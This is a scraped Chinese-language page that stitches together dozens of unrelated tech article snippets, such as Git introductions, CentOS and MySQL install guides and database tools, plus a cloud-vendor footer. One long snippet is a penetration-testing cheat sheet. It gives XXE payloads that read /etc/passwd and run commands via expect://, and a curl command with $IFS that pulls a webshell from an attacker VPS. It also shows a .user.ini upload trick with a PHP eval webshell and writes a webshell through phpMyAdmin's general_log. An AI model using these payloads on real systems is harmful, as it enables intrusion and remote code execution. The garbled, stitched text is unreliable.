Git 是世界上最先进的分布式版本控制系统，简单来说就是帮助个人或者公司团队进行版本控制的一个强大的工具。我们熟知的 Linux 系统就是使用 Git 来进行版本控制的。
虽然题目名显示需要 Linux ，但只是 ssh 的话，显然在 Windows 的命令行直接操作即可。
最近需要一个Linux下的JavaWeb环境，所以写下这篇文章，好记性不如烂笔头嘛，O(∩_∩)O哈哈~。本篇教程用的是Centos7系统，需要安装JDK1.8+Tomcat8，然后也有MySQL在Linux下的安装教程。
Getshell分为进管理员后台Getshell和不进后台Getshell，本文主要总结常见进后台Getshell和部分。
提权，顾名思义就是提升权限，当我们 getshell ⼀个⽹站之后，⼤部分情况下我们的权限是⾮常低的，这时就需要利⽤提权，让原本的低权限（如只允许列⽬录）→ ⾼权限（拥有修改⽂件的能⼒），权限提升后，对接下来的渗透有很⼤帮助
程序员在工作中避免不了要操作 myql、redis、Linux 等。所以要安装很多工具，Navicat、Xshell、RedisDesktopManager等，今天给大家推荐一款工具，可以代替这些常规工具，统一管理监控这些资源信息。
是啊，在项目上的系统每周每个月经过几十遍的过滤，平时看到提交参数的地方也就sqlmap跑一跑，对于最基础的手工注入都没有扎实的学会，于是我决定要知道如何搭建环境并学会如何通过 mysql 到 getshell。
PreparedStatement相对于Statement最重要的一个优点就是可以进行SQL预处理，以此防止SQL语句的注入问题。
vsftp （very secure FTP daemon）意为非常安全的ftp进程 特点：小巧｜免费 ｜ 安全，是Linux下最受推崇的ftp服务 ---- 安装ftp前要了解：ftp的账户是主机Linux的一个账户，所以最好了解一些Linux终端账户管理的知识，当然不懂也没关系，按照我的步骤一步一步来就好，如果出现无法解决的权限问题（比如sudo 后还是提示没有权限），可以直接在终端切换到 su root，输入root密码，一切搞定 在Linux下创建ftp用户(这里设置用户名：zhaoz
访问url: http://127.0.0.1/uqcms/index.php/admin/ad/save
在web渗透中，文件上传是最简单直接的方式之一。但是碰到完全不做校验的代码直接上传getshell，很难有这样的运气；大部分时候都有检测，甚至多处设卡。
Google Colaboratory是谷歌开放的一款研究工具，主要用于机器学习的开发和研究。这款工具现在可以免费使用，但是不是永久免费暂时还不确定。Google Colab最大的好处是给广大的AI开发者提供了免费的GPU使用！GPU型号是Tesla K80！可以在上面轻松地跑例如：Keras、Tensorflow、Pytorch等框架。
本文章适合正在学习提权的朋友，或者准备学习提权的朋友，大佬就可以绕过了，写的比较基础。我也是一个小白，总结一下提权的姿势和利用，也分享一些自己觉得好用的方法给大家，欢迎大家帮我补充，有什么好用的提权的方法也可以分享一下，大家共同进步。本篇有自己的理解，如果有什么不对的或者不好的地方希望大家不要喷我，但是欢迎帮我指正。
这篇博客小菌为大家带来的是如何在Linux的CentOS上如何安装jdk？
Git是一个分布式版本控制系统，我们所用的Gitee和Github就是Linux之父Linus Torvalds所写的版本控制器商业化以后的结果。
joomscan：https://github.com/OWASP/joomscan
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
Cloudreve是一款开源的网盘软件，支持服务器本机、腾讯云COS等多种存储方式，提供离线下载、拖拽上传、在线预览等功能，可以帮助用户快速搭建个人或多人使用的网盘系统。Lighthouse Cloudreve应用镜像集合了Cloudreve、Nginx、MariaDB、宝塔Linux面板和Aria2。省去了安装Docker和Cloudreve的步骤，鼠标点一点，五分钟将您的Lighthouse变身云盘！
都说 PHP 是世界上最好的语言，PHP 程序员需要具备哪些技术呢？我觉得至少要具备以下技术：
注意，我们搭建的 mysql 环境是在 Linux 的 Centos7 环境下安装的~
通过在用户可控参数中注入 SQL 语法，破坏原有 SQL 结构，达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的：
phpmyadmin是很多网站用来管理数据库的一个系统，尤其是mysql数据库管理的较多一些，最近phpmysql爆出漏洞，尤其是弱口令，sql注入漏洞，都会导致mysql的数据账号密码被泄露，那么如何通过phpmyadmin来上传提权webshell呢
最近运营小姐姐加班没空，所以停更了很久，没办法，我只能亲自上阵了。不过作为一名直男，没有好看的装饰了，就给大家最直接的写技术文章了。
Windows安装教程：《从0到1-全面深刻理解MySQL系列》- 最详细的MySQL安装流程(Window环境)
基于DDD分层实现的web版 linux(终端 文件 脚本 进程)、数据库（mysql postgres）、redis(单机 集群)、mongo统一管理操作平台
使用root用户创建目录 示例：mkdir /orctmp 将目录授权给oracle用户 示例：chown -R oracle:oracle /orctmp
最近需要将课设代码上传到Github上，之前只是用来fork别人的代码。 这篇文章写得是windows下的使用方法。 第一步：创建Github新账户 第二步：新建仓库 第三部：填写名称，简介（可选），
文字和视频具体哪个好，也是各说各有道理，但是我想说的是，你需要找到一个适合你自己的方法，这样可以让你成长的道路上少走一些弯路，找到适合自己的方法可以让你在学习的道路上事半功倍。
今天给大家介绍一个可以取代navicat、plsql等客户端开发工具的web工具：mayfly-go。
本关卡为sql-labs系列less-7，本关个人认为比较简单，讲的比较详细，会有点啰嗦，谅解~如有错误的地方欢迎师傅们指正！
提示：本系列笔记全部存在于 Github， 可以直接在 Github 查看全部笔记
Soar是在2018年10月20日的开源先锋日上，由小米公布开源的项目，主要是通过智能检查SQL，并对SQL实现优化和改写的工具。
自幼受贵州大山的熏陶，养成了诚实质朴的性格。经过寒窗苦读，考入BIT，为完成自己的教师梦，放弃IT、航天等工作，成为贵财一名大学教师，并想把自己所学所感真心传授给自己的学生，帮助更多陌生人。
经过前面几期内容的介绍，相信大家已经把Hadoop的环境搭建好了吧。正如前几期所说，Hadoop的搭建实际上最核心的就是HDFS（文件存储系统）、Map-Reduce（运算系统）和Yarn（资源调配系统）三个组间。
Nginx作为一款著名的Http服务器、反向代理服务器，在日常工作和学习中，我们都避免不了与它进行接触，本文通过亲自实践的方式，完整详细地讲解了nginx的安装流程，希望能够帮助到有需要的同学。
危害：CPU拉满，网络阻塞，服务器卡顿、耗电等 定性：威胁情报平台上传解析分析，文件配置查看等
需求分析： 性能测试过程中，由于环境的不足，或者项目需求，需要在凌晨才能执行性能测试，这样就需要实现自动执行性能测试场景，并且能实现多次执行不同用户并发、并且自动生成结果 本文就介绍如何使用jenki
PHP是一种开源服务器端脚本语言，应用很广泛。Apache web服务器提供了这种便利：通过HTTP或HTTPS协议，访问文件和内容。配置不当的服务器端脚本语言会带来各种各样的问题。所以，使用php时要小心。以下是Linux下PHP+Apache的26个PHP程序员必知的安全方面的设置
数据库使用的mysql，起初是单库单表，时间久了单表的数据量越来越大，一个表中的数据量达到3个多亿，mysql单表数据量达到800万左右就达到瓶颈了，不得不分表了,使用mycat中间件
本环境为黑盒测试，在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。
介绍 web版 linux(终端[终端回放] 文件 脚本 进程)、数据库（mysql postgres）、redis(单机 哨兵 集群)、mongo统一管理操作平台 开发语言与主要框架 前端：typescript、vue3、element-plus 后端：golang、gin、gorm 系统相关资料 项目文档: https://objs.gitee.io/mayfly-go-docs 系统操作视频: https://space.bilibili.com/484091081/channel/collectio
这里上传文件会直接进行展示，到这里就没了= = 只能看看师傅们的wp 师傅们猜测这里后台perl上传代码使用了param(）函数
对此网站进行SQL注入测试之后发现这个网站是没有WAF之类的防护软件进行包含网站的，那么我就直接使用SQLMAP进行SQL注入测试。SQLMAP给出网站的指纹信息，服务器是一个window的服务器，并且版本是windows 10 或者2016。如果是服务器的话我绝对可能就是windows 2016了。并且中间件是IIS10.0。数据库是mysql。对方给的数据库权限比较高，那么就直接从数据库入手吧。
先购买一台云服务器，我选择的是Ubuntu / 16.04 LTS amd64 (64bit)操作系统
【1】页面之间无法传递变量 get,post,session在最新的php版本中自动全局变量是关闭 的，所以要从上一页面取得提交过来得变量要使 用$_GET['foo'],$_POST['foo'],$_SESSION ['foo']来得到。当然也可以修改自动全局变量为开(php.ini改 为register_globals = On)；考虑 到兼容性，还是强迫自己熟悉新的写法比较好。 注：PHP中的超全局变量 从PHP 4.2.0 开始，register_globals 的默认值为 off，这样一来，
https://github.com/Mr-xn/BurpSuite-collections/blob/master/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E9%9D%A2%E8%AF%95%E9%97%AE%E9%A2%982019%E7%89%88.md
b、端口，弱口令，目录等扫描,对响应的端口进行漏洞探测，比如 rsync,心zang出血，mysql,ftp,ssh弱口令等。
依赖 我们可以选择外部的porm.xml也可以选择在内部的porm.xml 两者的对比：
我们经常会在Linux上安装MySQL数据库，但是安装的时候总是会这里错，那里错，不顺利，今天整理了一下安装流程，连续安装来了两遍，没有遇到什么大错误，基本上十分钟左右可以搞定，教程如下。写着一篇文章主要是答应别人要帮忙给他在Linux上安装一下mysql（MySQL是5.7，Linux是centos7），然后自己提前实践一下，不要关键时刻掉链子。古有刘备三顾茅庐，今有宏哥三连数据库。快来看看发生什么事了！！！
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
腾讯会议
